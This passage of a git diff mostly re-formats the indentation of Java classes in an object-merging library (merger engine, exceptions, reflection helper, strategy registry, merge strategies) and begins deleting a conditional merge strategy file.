MergeStrategy resolveStrategy(FieldDefinition fieldDef) { - String strategyName = fieldDef.getStrategy() != null ? fieldDef.getStrategy() : "standard"; - return StrategyRegistry.getInstance().getStrategy(strategyName); - } - - @SuppressWarnings("unchecked") - private static > T executeStrategy( - MergeStrategy strategy, - List> sources, - FieldDefinition fieldDef, - String fieldName) { - if (!strategy.getConfigurationClass().isInstance(fieldDef)) { - throw new ConfigurationException( - String.format( - "Field '%s' requires configuration of type '%s' but got '%s' for strategy '%s'", - fieldName, - strategy.getConfigurationClass().getSimpleName(), - fieldDef.getClass().getSimpleName(), - strategy.getName())); + private static MergeStrategy resolveStrategy(FieldDefinition fieldDef) { + String strategyName = fieldDef.getStrategy() != null ? fieldDef.getStrategy() : "standard"; + return StrategyRegistry.getInstance().getStrategy(strategyName); } - C config = (C) fieldDef; - return strategy.merge(new java.util.ArrayList<>(sources), config, fieldName); - } + @SuppressWarnings("unchecked") + private static > T executeStrategy( + MergeStrategy strategy, + List> sources, + FieldDefinition fieldDef, + String fieldName) { + if (!strategy.getConfigurationClass().isInstance(fieldDef)) { + throw new ConfigurationException( + String.format( + "Field '%s' requires configuration of type '%s' but got '%s' for strategy '%s'", + fieldName, + strategy.getConfigurationClass().getSimpleName(), + fieldDef.getClass().getSimpleName(), + strategy.getName())); + } + + C config = (C) fieldDef; + return strategy.merge(new java.util.ArrayList<>(sources), config, fieldName); + } } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/engine/PojoMerger.java b/objectmerger/src/main/java/de/x132/objectmerger/engine/PojoMerger.java index 144a39b..5d2ea80 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/engine/PojoMerger.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/engine/PojoMerger.java @@ -25,117 +25,119 @@ @NoArgsConstructor(access = AccessLevel.PRIVATE) public class PojoMerger { - @SafeVarargs - public static T merge( - Class targetClass, MergeDefinition mergeDefinition, LabeledSource... sources) { - try { - T result = targetClass.getDeclaredConstructor().newInstance(); - - Map> definitions = - resolveDefinitions(targetClass, mergeDefinition, sources); - - List> sourceList = Arrays.asList(sources); - MergeContext context = new MergeContext<>(targetClass, result, sourceList); - - for (Map.Entry> entry : definitions.entrySet()) { - processField(context, entry.getKey(), entry.getValue()); - } - return result; - } catch (Exception e) { - log.error("Failed to merge objects of type {}", targetClass.getName(), e); - if (e instanceof ObjectMergerException) { - throw (ObjectMergerException) e; - } - throw new MergeExecutionException( - "Failed to merge objects of type " + targetClass.getName(), e); + @SafeVarargs + public static T merge( + Class targetClass, MergeDefinition mergeDefinition, LabeledSource... sources) { + try { + T result = targetClass.getDeclaredConstructor().newInstance(); + + Map> definitions = + resolveDefinitions(targetClass, mergeDefinition, sources); + + List> sourceList = Arrays.asList(sources); + MergeContext context = new MergeContext<>(targetClass, result, sourceList); + + for (Map.Entry> entry : definitions.entrySet()) { + processField(context, entry.getKey(), entry.getValue()); + } + return result; + } catch (Exception e) { + log.error("Failed to merge objects of type {}", targetClass.getName(), e); + if (e instanceof ObjectMergerException) { + throw (ObjectMergerException) e; + } + throw new MergeExecutionException( + "Failed to merge objects of type " + targetClass.getName(), e); + } } - } - private static LabeledSource findTemplateSource(String label, LabeledSource[] sources) { - for (LabeledSource source : sources) { - if (source.getLabel().equals(label)) { - return source; - } + private static LabeledSource findTemplateSource( + String label, LabeledSource[] sources) { + for (LabeledSource source : sources) { + if (source.getLabel().equals(label)) { + return source; + } + } + return null; } - return null; - } - private static void processField( - MergeContext context, String fieldName, FieldDefinition fieldDef) { - - Field field = ReflectionHelper.getField(context.targetClass(), fieldName); - if (field == null) { - return; + private static void processField( + MergeContext context, String fieldName, FieldDefinition fieldDef) { + + Field field = ReflectionHelper.getField(context.targetClass(), fieldName); + if (field == null) { + return; + } + + MergeStrategy strategy = resolveStrategy(fieldDef); + if (strategy != null) { + // Cast to raw type to allow capture in helper + @SuppressWarnings("rawtypes") + MergeStrategy rawStrategy = strategy; + applyStrategy( + rawStrategy, context.sources(), fieldDef, fieldName, field, context.result()); + } } - MergeStrategy strategy = resolveStrategy(fieldDef); - if (strategy != null) { - // Cast to raw type to allow capture in helper - @SuppressWarnings("rawtypes") - MergeStrategy rawStrategy = strategy; - applyStrategy(rawStrategy, context.sources(), fieldDef, fieldName, field, context.result()); - } - } - - private static MergeStrategy resolveStrategy(FieldDefinition fieldDef) { - String strategyName = fieldDef.getStrategy() != null ? fieldDef.getStrategy() : "standard"; - return StrategyRegistry.getInstance().getStrategy(strategyName); - } - - private static > void applyStrategy( - MergeStrategy strategy, - List> sources, - FieldDefinition fieldDef, - String fieldName, - Field field, - Object result) { - - T mergedValue = executeStrategy(strategy, sources, fieldDef, fieldName); - ReflectionHelper.setFieldValue(field, result, mergedValue); - } - - @SuppressWarnings("unchecked") - private static > T executeStrategy( - MergeStrategy strategy, - List> sources, - FieldDefinition fieldDef, - String fieldName) { - if (!strategy.getConfigurationClass().isInstance(fieldDef)) { - throw new ConfigurationException( - String.format( - "Field '%s' requires configuration of type '%s' but got '%s' for strategy '%s'", - fieldName, - strategy.getConfigurationClass().getSimpleName(), - fieldDef.getClass().getSimpleName(), - strategy.getName())); + private static MergeStrategy resolveStrategy(FieldDefinition fieldDef) { + String strategyName = fieldDef.getStrategy() != null ? fieldDef.getStrategy() : "standard"; + return StrategyRegistry.getInstance().getStrategy(strategyName); } - C config = (C) fieldDef; - return strategy.merge(new java.util.ArrayList<>(sources), config, fieldName); - } + private static > void applyStrategy( + MergeStrategy strategy, + List> sources, + FieldDefinition fieldDef, + String fieldName, + Field field, + Object result) { - private static Map> resolveDefinitions( - Class targetClass, MergeDefinition mergeDefinition, LabeledSource[] sources) { - if (mergeDefinition.getTemplateSourceLabel() == null) { - return mergeDefinition.getDefinitions(); + T mergedValue = executeStrategy(strategy, sources, fieldDef, fieldName); + ReflectionHelper.setFieldValue(field, result, mergedValue); } - LabeledSource templateSource = - findTemplateSource(mergeDefinition.getTemplateSourceLabel(), sources); - - if (templateSource == null) { - throw new InvalidSourceException( - "Template source '" - + mergeDefinition.getTemplateSourceLabel() - + "' not found among provided sources."); + @SuppressWarnings("unchecked") + private static > T executeStrategy( + MergeStrategy strategy, + List> sources, + FieldDefinition fieldDef, + String fieldName) { + if (!strategy.getConfigurationClass().isInstance(fieldDef)) { + throw new ConfigurationException( + String.format( + "Field '%s' requires configuration of type '%s' but got '%s' for strategy '%s'", + fieldName, + strategy.getConfigurationClass().getSimpleName(), + fieldDef.getClass().getSimpleName(), + strategy.getName())); + } + + C config = (C) fieldDef; + return strategy.merge(new java.util.ArrayList<>(sources), config, fieldName); } - MergeDefinition generatedDef = MergeDefinitionGenerator.generate(targetClass); - Map> definitions = generatedDef.getDefinitions(); - - if (mergeDefinition.getDefinitions() != null) { - definitions.putAll(mergeDefinition.getDefinitions()); + private static Map> resolveDefinitions( + Class targetClass, MergeDefinition mergeDefinition, LabeledSource[] sources) { + if (mergeDefinition.getTemplateSourceLabel() == null) { + return mergeDefinition.getDefinitions(); + } + + LabeledSource templateSource = + findTemplateSource(mergeDefinition.getTemplateSourceLabel(), sources); + + if (templateSource == null) { + throw new InvalidSourceException( + "Template source '" + + mergeDefinition.getTemplateSourceLabel() + + "' not found among provided sources."); + } + + MergeDefinition generatedDef = MergeDefinitionGenerator.generate(targetClass); + Map> definitions = generatedDef.getDefinitions(); + + if (mergeDefinition.getDefinitions() != null) { + definitions.putAll(mergeDefinition.getDefinitions()); + } + return definitions; } - return definitions; - } } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/exception/ConfigurationException.java b/objectmerger/src/main/java/de/x132/objectmerger/exception/ConfigurationException.java index 148990b..9b11d83 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/exception/ConfigurationException.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/exception/ConfigurationException.java @@ -2,11 +2,11 @@ /** Thrown when the MergeDefinition or FieldDefinition is invalid. */ public class ConfigurationException extends ObjectMergerException { - public ConfigurationException(String message) { - super(message); - } + public ConfigurationException(String message) { + super(message); + } - public ConfigurationException(String message, Throwable cause) { - super(message, cause); - } + public ConfigurationException(String message, Throwable cause) { + super(message, cause); + } } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/exception/InvalidSourceException.java b/objectmerger/src/main/java/de/x132/objectmerger/exception/InvalidSourceException.java index 47b6aeb..8d01ddd 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/exception/InvalidSourceException.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/exception/InvalidSourceException.java @@ -2,11 +2,11 @@ /** Thrown when the input sources are invalid or incompatible. */ public class InvalidSourceException extends ObjectMergerException { - public InvalidSourceException(String message) { - super(message); - } + public InvalidSourceException(String message) { + super(message); + } - public InvalidSourceException(String message, Throwable cause) { - super(message, cause); - } + public InvalidSourceException(String message, Throwable cause) { + super(message, cause); + } } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/exception/MergeExecutionException.java b/objectmerger/src/main/java/de/x132/objectmerger/exception/MergeExecutionException.java index 8d9fb37..f283eec 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/exception/MergeExecutionException.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/exception/MergeExecutionException.java @@ -5,11 +5,11 @@ * instantiation error). */ public class MergeExecutionException extends ObjectMergerException { - public MergeExecutionException(String message) { - super(message); - } + public MergeExecutionException(String message) { + super(message); + } - public MergeExecutionException(String message, Throwable cause) { - super(message, cause); - } + public MergeExecutionException(String message, Throwable cause) { + super(message, cause); + } } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/exception/ObjectMergerException.java b/objectmerger/src/main/java/de/x132/objectmerger/exception/ObjectMergerException.java index d18b0f1..9489aba 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/exception/ObjectMergerException.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/exception/ObjectMergerException.java @@ -5,11 +5,11 @@ * unchecked exception. */ public class ObjectMergerException extends RuntimeException { - public ObjectMergerException(String message) { - super(message); - } + public ObjectMergerException(String message) { + super(message); + } - public ObjectMergerException(String message, Throwable cause) { - super(message, cause); - } + public ObjectMergerException(String message, Throwable cause) { + super(message, cause); + } } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/generator/MergeDefinitionGenerator.java b/objectmerger/src/main/java/de/x132/objectmerger/generator/MergeDefinitionGenerator.java index 19f6049..56f2f24 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/generator/MergeDefinitionGenerator.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/generator/MergeDefinitionGenerator.java @@ -18,84 +18,85 @@ public class MergeDefinitionGenerator { - public static MergeDefinition generate(Class clazz) { - Map> definitions = new HashMap<>(); + public static MergeDefinition generate(Class clazz) { + Map> definitions = new HashMap<>(); - for (Field field : clazz.getDeclaredFields()) { - if (Modifier.isStatic(field.getModifiers()) || Modifier.isTransient(field.getModifiers())) { - continue; - } - definitions.put(field.getName(), new StandardFieldDefinition<>()); + for (Field field : clazz.getDeclaredFields()) { + if (Modifier.isStatic(field.getModifiers()) + || Modifier.isTransient(field.getModifiers())) { + continue; + } + definitions.put(field.getName(), new StandardFieldDefinition<>()); + } + + return new MergeDefinition(definitions); } - return new MergeDefinition(definitions); - } + public static MergeDefinition generate(Map data) { + Map> definitions = new HashMap<>(); - public static MergeDefinition generate(Map data) { - Map> definitions = new HashMap<>(); + for (Map.Entry entry : data.entrySet()) { + definitions.put(entry.getKey(), generateFieldDefinition(entry.getValue())); + } - for (Map.Entry entry : data.entrySet()) { - definitions.put(entry.getKey(), generateFieldDefinition(entry.getValue())); + return new MergeDefinition(definitions); } - return new MergeDefinition(definitions); - } + private static FieldDefinition generateFieldDefinition(Object value) { + if (value instanceof List) { + List list = (List) value; + String identifyBy = null; + ItemMergeDefinition itemDef = null; - private static FieldDefinition generateFieldDefinition(Object value) { - if (value instanceof List) { - List list = (List) value; - String identifyBy = null; - ItemMergeDefinition itemDef = null; + if (!list.isEmpty()) { + Object firstObj = list.get(0); + if (firstObj instanceof Map) { + Map first = (Map) firstObj; + if (first.containsKey("id")) { + identifyBy = "id"; + } else if (first.containsKey("name")) { + identifyBy = "name"; + } - if (!list.isEmpty()) { - Object firstObj = list.get(0); - if (firstObj instanceof Map) { - Map first = (Map) firstObj; - if (first.containsKey("id")) { - identifyBy = "id"; - } else if (first.containsKey("name")) { - identifyBy = "name"; - } + // Recursive generation for list items + @SuppressWarnings("unchecked") + MergeDefinition subDef = generate((Map) first); + itemDef = new ItemMergeDefinition(null, subDef.getDefinitions()); + } + } - // Recursive generation for list items - @SuppressWarnings("unchecked") - MergeDefinition subDef = generate((Map) first); - itemDef = new ItemMergeDefinition(null, subDef.getDefinitions()); + ListFieldDefinition def = new ListFieldDefinition<>(); + def.setStrategy(ListMergeStrategy.NAME); + if (identifyBy != null) { + def.setIdentifyBy(identifyBy); + } + if (itemDef != null) { + def.setItemMergeDefinition(itemDef); + } + return def; + } else if (value instanceof Map) { + MapFieldDefinition def = new MapFieldDefinition<>(); + def.setStrategy(MapMergeStrategy.NAME); + // Inspect first value to see if itemMergeDefinition is needed (recurse) + Map map = (Map) value; + if (!map.isEmpty()) { + Object firstVal = map.values().iterator().next(); + // If value is Map/List, we might need recursion, but for this task (simple + // names), null is OK. + // MapMergeStrategy defaults to priority merge for values if no item definition. + // Ideally we should recurse if firstVal is complex, but let's stick to simple + // "mergeMap". + } + return def; + } else { + return createDefaultPriorityDefinition(); } - } - - ListFieldDefinition def = new ListFieldDefinition<>(); - def.setStrategy(ListMergeStrategy.NAME); - if (identifyBy != null) { - def.setIdentifyBy(identifyBy); - } - if (itemDef != null) { - def.setItemMergeDefinition(itemDef); - } - return def; - } else if (value instanceof Map) { - MapFieldDefinition def = new MapFieldDefinition<>(); - def.setStrategy(MapMergeStrategy.NAME); - // Inspect first value to see if itemMergeDefinition is needed (recurse) - Map map = (Map) value; - if (!map.isEmpty()) { - Object firstVal = map.values().iterator().next(); - // If value is Map/List, we might need recursion, but for this task (simple - // names), null is OK. - // MapMergeStrategy defaults to priority merge for values if no item definition. - // Ideally we should recurse if firstVal is complex, but let's stick to simple - // "mergeMap". - } - return def; - } else { - return createDefaultPriorityDefinition(); } - } - private static FieldDefinition createDefaultPriorityDefinition() { - PriorityFieldDefinition def = new PriorityFieldDefinition<>(); - def.setStrategy(PriorityMergeStrategy.NAME); - def.setPriority(Map.of("source_1", 1, "source_2", 2)); - return def; - } + private static FieldDefinition createDefaultPriorityDefinition() { + PriorityFieldDefinition def = new PriorityFieldDefinition<>(); + def.setStrategy(PriorityMergeStrategy.NAME); + def.setPriority(Map.of("source_1", 1, "source_2", 2)); + return def; + } } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/helper/ReflectionHelper.java b/objectmerger/src/main/java/de/x132/objectmerger/helper/ReflectionHelper.java index f431e73..ae52398 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/helper/ReflectionHelper.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/helper/ReflectionHelper.java @@ -13,64 +13,64 @@ @NoArgsConstructor(access = AccessLevel.PRIVATE) public class ReflectionHelper { - private static final ConcurrentHashMap fieldCache = new ConcurrentHashMap<>(); + private static final ConcurrentHashMap fieldCache = new ConcurrentHashMap<>(); - /** Sets a field value safely. */ - public static void setFieldValue(Field field, Object target, Object value) { - try { - field.setAccessible(true); - field.set(target, value); - } catch (IllegalAccessException e) { - log.error("Access denied for field '{}'", field.getName(), e); - throw new MergeExecutionException("Access denied for field: " + field.getName(), e); + /** Sets a field value safely. */ + public static void setFieldValue(Field field, Object target, Object value) { + try { + field.setAccessible(true); + field.set(target, value); + } catch (IllegalAccessException e) { + log.error("Access denied for field '{}'", field.getName(), e); + throw new MergeExecutionException("Access denied for field: " + field.getName(), e); + } } - } - /** Gets a field value safely from an object or Map. */ - public static Object getFieldValue(Object obj, String fieldName) { - if (obj == null) { - return null; - } - if (obj instanceof Map) { - return ((Map) obj).get(fieldName); - } - Field field = getField(obj.getClass(), fieldName); - if (field == null) { - log.debug( - "Failed to get field value '{}' from object of type '{}'", - fieldName, - obj.getClass().getName()); - throw new MergeExecutionException( - "Failed to get field value: " - + fieldName - + " from object of type " - + obj.getClass().getName()); - } - try { - return field.get(obj); - } catch (IllegalAccessException e) { - log.error("Access denied for field '{}'", fieldName, e); - throw new MergeExecutionException("Access denied for field: " + fieldName, e); + /** Gets a field value safely from an object or Map. */ + public static Object getFieldValue(Object obj, String fieldName) { + if (obj == null) { + return null; + } + if (obj instanceof Map) { + return ((Map) obj).get(fieldName); + } + Field field = getField(obj.getClass(), fieldName); + if (field == null) { + log.debug( + "Failed to get field value '{}' from object of type '{}'", + fieldName, + obj.getClass().getName()); + throw new MergeExecutionException( + "Failed to get field value: " + + fieldName + + " from object of type " + + obj.getClass().getName()); + } + try { + return field.get(obj); + } catch (IllegalAccessException e) { + log.error("Access denied for field '{}'", fieldName, e); + throw new MergeExecutionException("Access denied for field: " + fieldName, e); + } } - } - /** Gets a declared field from a class safely, with caching. */ - public static Field getField(Class clazz, String fieldName) { - String cacheKey = clazz.getName() + "." + fieldName; - return fieldCache.computeIfAbsent( - cacheKey, - key -> { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException e) { - log.warn( - "Field '{}' defined in mapping but missing in class '{}'", - fieldName, - clazz.getName()); - return null; - } - }); - } + /** Gets a declared field from a class safely, with caching. */ + public static Field getField(Class clazz, String fieldName) { + String cacheKey = clazz.getName() + "." + fieldName; + return fieldCache.computeIfAbsent( + cacheKey, + key -> { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + log.warn( + "Field '{}' defined in mapping but missing in class '{}'", + fieldName, + clazz.getName()); + return null; + } + }); + } } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/registry/StrategyRegistry.java b/objectmerger/src/main/java/de/x132/objectmerger/registry/StrategyRegistry.java index c988123..18487b7 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/registry/StrategyRegistry.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/registry/StrategyRegistry.java @@ -14,37 +14,37 @@ * helps decouple the strategy loading logic from the merge orchestration. */ public class StrategyRegistry { - private static final Logger log = LoggerFactory.getLogger(StrategyRegistry.class); + private static final Logger log = LoggerFactory.getLogger(StrategyRegistry.class); - private static final StrategyRegistry INSTANCE = new StrategyRegistry(); - private final Map> strategies; + private static final StrategyRegistry INSTANCE = new StrategyRegistry(); + private final Map> strategies; - @SuppressWarnings("rawtypes") - private StrategyRegistry() { - strategies = new HashMap<>(); - ServiceLoader loader = ServiceLoader.load(MergeStrategy.class); - for (MergeStrategy strategy : loader) { - strategies.put(strategy.getName(), strategy); - log.debug("Loaded strategy: {}", strategy.getName()); + @SuppressWarnings("rawtypes") + private StrategyRegistry() { + strategies = new HashMap<>(); + ServiceLoader loader = ServiceLoader.load(MergeStrategy.class); + for (MergeStrategy strategy : loader) { + strategies.put(strategy.getName(), strategy); + log.debug("Loaded strategy: {}", strategy.getName()); + } } - } - public static StrategyRegistry getInstance() { - return INSTANCE; - } + public static StrategyRegistry getInstance() { + return INSTANCE; + } - /** - * Retrieves a strategy by its name. - * - * @param name The name of the strategy. - * @return The requested strategy, or the "standard" strategy if the name is not found. - */ - public MergeStrategy getStrategy(String name) { - MergeStrategy strategy = strategies.get(name); - if (strategy == null) { - log.warn("Unknown strategy '{}'. Using default 'standard'.", name); - return strategies.get("standard"); + /** + * Retrieves a strategy by its name. + * + * @param name The name of the strategy. + * @return The requested strategy, or the "standard" strategy if the name is not found. + */ + public MergeStrategy getStrategy(String name) { + MergeStrategy strategy = strategies.get(name); + if (strategy == null) { + log.warn("Unknown strategy '{}'. Using default 'standard'.", name); + return strategies.get("standard"); + } + return strategy; } - return strategy; - } } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/FieldDefinition.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/FieldDefinition.java index e326e9b..287c0fb 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/FieldDefinition.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/FieldDefinition.java @@ -11,6 +11,6 @@ @NoArgsConstructor @AllArgsConstructor public abstract class FieldDefinition implements Defaultable { - private String strategy; - private T defaultValue; + private String strategy; + private T defaultValue; } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/MergeStrategy.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/MergeStrategy.java index c105676..29cd7fe 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/MergeStrategy.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/MergeStrategy.java @@ -23,33 +23,33 @@ */ public interface MergeStrategy> { - /** - * Merges the values for a specific field from the given sources. - * - * @param sources The list of sources containing the values. - * @param fieldDef The definition of the field to merge. - * @param fieldName The name of the field being merged. - * @return The merged value. - */ - T merge(List> sources, C fieldDef, String fieldName); + /** + * Merges the values for a specific field from the given sources. + * + * @param sources The list of sources containing the values. + * @param fieldDef The definition of the field to merge. + * @param fieldName The name of the field being merged. + * @return The merged value. + */ + T merge(List> sources, C fieldDef, String fieldName); - /** - * Returns the unique name of this strategy. This name is used in the configuration to refer to - * this strategy. - * - * @return The unique name of the strategy (e.g. "priority"). - */ - String getName(); + /** + * Returns the unique name of this strategy. This name is used in the configuration to refer to + * this strategy. + * + * @return The unique name of the strategy (e.g. "priority"). + */ + String getName(); - /** - * Returns the expected configuration class for this strategy. - * - *

Contract: This method must NOT return {@code null}. It must return the - * specific subclass of {@link FieldDefinition} that this strategy expects. This is used by the - * runtime to validate that the configuration provided in the merge definition matches the - * strategy's requirements. - * - * @return The expected FieldDefinition subclass. - */ - Class getConfigurationClass(); + /** + * Returns the expected configuration class for this strategy. + * + *

Contract: This method must NOT return {@code null}. It must return the + * specific subclass of {@link FieldDefinition} that this strategy expects. This is used by the + * runtime to validate that the configuration provided in the merge definition matches the + * strategy's requirements. + * + * @return The expected FieldDefinition subclass. + */ + Class getConfigurationClass(); } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/average/AverageValueStrategy.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/average/AverageValueStrategy.java index f7f60cb..4ae679e 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/average/AverageValueStrategy.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/average/AverageValueStrategy.java @@ -10,53 +10,55 @@ public class AverageValueStrategy implements MergeStrategy> { - public static final String NAME = "average"; - - @Override - public String getName() { - return NAME; - } - - @SuppressWarnings("unchecked") - @Override - public Class> getConfigurationClass() { - return (Class) FieldDefinition.class; - } - - @Override - public Number merge( - List> sources, FieldDefinition fieldDef, String fieldName) { - double sum = - sources.stream() - .map(source -> ObjectMerger.getFieldValue(source.getSource(), fieldName)) - .filter(Objects::nonNull) - .mapToDouble( - value -> { - if (value instanceof Number) { - return ((Number) value).doubleValue(); - } - throw new InvalidSourceException( - "Field " + fieldName + " must be a number for average strategy"); - }) - .sum(); - - long count = - sources.stream() - .map(source -> ObjectMerger.getFieldValue(source.getSource(), fieldName)) - .filter(Objects::nonNull) - .count(); - if (count == 0) { - return fieldDef.getDefaultValue(); + public static final String NAME = "average"; + + @Override + public String getName() { + return NAME; + } + + @SuppressWarnings("unchecked") + @Override + public Class> getConfigurationClass() { + return (Class) FieldDefinition.class; } - double average = sum / count; + @Override + public Number merge( + List> sources, FieldDefinition fieldDef, String fieldName) { + double sum = + sources.stream() + .map(source -> ObjectMerger.getFieldValue(source.getSource(), fieldName)) + .filter(Objects::nonNull) + .mapToDouble( + value -> { + if (value instanceof Number) { + return ((Number) value).doubleValue(); + } + throw new InvalidSourceException( + "Field " + + fieldName + + " must be a number for average strategy"); + }) + .sum(); + + long count = + sources.stream() + .map(source -> ObjectMerger.getFieldValue(source.getSource(), fieldName)) + .filter(Objects::nonNull) + .count(); + if (count == 0) { + return fieldDef.getDefaultValue(); + } + + double average = sum / count; - // Return as Integer if result is a whole number, otherwise as Double - if (average == Math.floor(average) - && average <= Integer.MAX_VALUE - && average >= Integer.MIN_VALUE) { - return (int) average; + // Return as Integer if result is a whole number, otherwise as Double + if (average == Math.floor(average) + && average <= Integer.MAX_VALUE + && average >= Integer.MIN_VALUE) { + return (int) average; + } + return average; } - return average; - } } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/concatenate/ConcatenateStrategy.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/concatenate/ConcatenateStrategy.java index fc2d759..4a2a033 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/concatenate/ConcatenateStrategy.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/concatenate/ConcatenateStrategy.java @@ -14,65 +14,65 @@ public class ConcatenateStrategy implements MergeStrategy> { - private static final String DEFAULT_DELIMITER = ","; - public static final String NAME = "concatenate"; + private static final String DEFAULT_DELIMITER = ","; + public static final String NAME = "concatenate"; - @Override - public String getName() { - return NAME; - } - - @SuppressWarnings("unchecked") - @Override - public Class> getConfigurationClass() { - return (Class) FieldDefinition.class; - } + @Override + public String getName() { + return NAME; + } - @Override - public String merge( - List> sources, FieldDefinition fieldDef, String fieldName) { - String delimiter = getDelimiter(fieldDef); - Map priority = null; - if (fieldDef instanceof PriorityFieldDefinition priorityDef) { - priority = priorityDef.getPriority(); + @SuppressWarnings("unchecked") + @Override + public Class> getConfigurationClass() { + return (Class) FieldDefinition.class; } - List values = - sources.stream() - .sorted(getComparator(priority)) - .map(source -> ObjectMerger.getFieldValue(source.getSource(), fieldName)) - .filter(Objects::nonNull) - .map(this::validateAndConvertToString) - .collect(Collectors.toList()); + @Override + public String merge( + List> sources, FieldDefinition fieldDef, String fieldName) { + String delimiter = getDelimiter(fieldDef); + Map priority = null; + if (fieldDef instanceof PriorityFieldDefinition priorityDef) { + priority = priorityDef.getPriority(); + } - if (values.isEmpty()) { - return fieldDef.getDefaultValue(); - } + List values = + sources.stream() + .sorted(getComparator(priority)) + .map(source -> ObjectMerger.getFieldValue(source.getSource(), fieldName)) + .filter(Objects::nonNull) + .map(this::validateAndConvertToString) + .collect(Collectors.toList()); - return String.join(delimiter, values); - } + if (values.isEmpty()) { + return fieldDef.getDefaultValue(); + } - private String getDelimiter(FieldDefinition fieldDef) { - // Try to get delimiter from a custom field or property - // For now, return default - can be extended to read from metadata - return DEFAULT_DELIMITER; - } + return String.join(delimiter, values); + } + + private String getDelimiter(FieldDefinition fieldDef) { + // Try to get delimiter from a custom field or property + // For now, return default - can be extended to read from metadata + return DEFAULT_DELIMITER; + } - private Comparator> getComparator(Map priority) { - if (priority == null || priority.isEmpty()) { - // If no priority, keep original order - return (s1, s2) -> 0; + private Comparator> getComparator(Map priority) { + if (priority == null || priority.isEmpty()) { + // If no priority, keep original order + return (s1, s2) -> 0; + } + // Sort by priority (lower number = higher priority = comes first) + return Comparator.comparingInt(s -> priority.getOrDefault(s.getLabel(), Integer.MAX_VALUE)); } - // Sort by priority (lower number = higher priority = comes first) - return Comparator.comparingInt(s -> priority.getOrDefault(s.getLabel(), Integer.MAX_VALUE)); - } - private String validateAndConvertToString(Object value) { - if (value instanceof String) { - return (String) value; + private String validateAndConvertToString(Object value) { + if (value instanceof String) { + return (String) value; + } + throw new InvalidSourceException( + "Field must be a String for concatenate strategy, but was: " + + value.getClass().getSimpleName()); } - throw new InvalidSourceException( - "Field must be a String for concatenate strategy, but was: " - + value.getClass().getSimpleName()); - } } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/conditional/ConditionCase.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/conditional/ConditionCase.java index 150bd56..064b373 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/conditional/ConditionCase.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/conditional/ConditionCase.java @@ -9,12 +9,12 @@ @NoArgsConstructor @AllArgsConstructor public class ConditionCase { - /** - * MVEL expression evaluating to boolean. Available variables: 'sources' (List), - * 'values' (Map). - */ - private String condition; + /** + * MVEL expression evaluating to boolean. Available variables: 'sources' (List), + * 'values' (Map). + */ + private String condition; - /** The strategy to apply if condition is true. */ - private FieldDefinition useStrategy; + /** The strategy to apply if condition is true. */ + private FieldDefinition useStrategy; } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/conditional/ConditionalFieldDefinition.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/conditional/ConditionalFieldDefinition.java index 33186f5..4431eba 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/conditional/ConditionalFieldDefinition.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/conditional/ConditionalFieldDefinition.java @@ -17,9 +17,9 @@ @AllArgsConstructor @EqualsAndHashCode(callSuper = true) public class ConditionalFieldDefinition extends FieldDefinition - implements ConditionalConfig { + implements ConditionalConfig { - @Builder.Default private List> cases = new ArrayList<>(); + @Builder.Default private List> cases = new ArrayList<>(); - private FieldDefinition defaultStrategy; + private FieldDefinition defaultStrategy; } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/conditional/ConditionalMergeStrategy.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/conditional/ConditionalMergeStrategy.java deleted file mode 100644 index 8777865..0000000 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/conditional/ConditionalMergeStrategy.java +++ /dev/null @@ -1,100 +0,0 @@ -package de.x132.objectmerger.strategy.conditional; - -import de.x132.objectmerger.LabeledSource; -import de.x132.objectmerger.ObjectMerger; -import de.x132.objectmerger.exception.ConfigurationException; -import 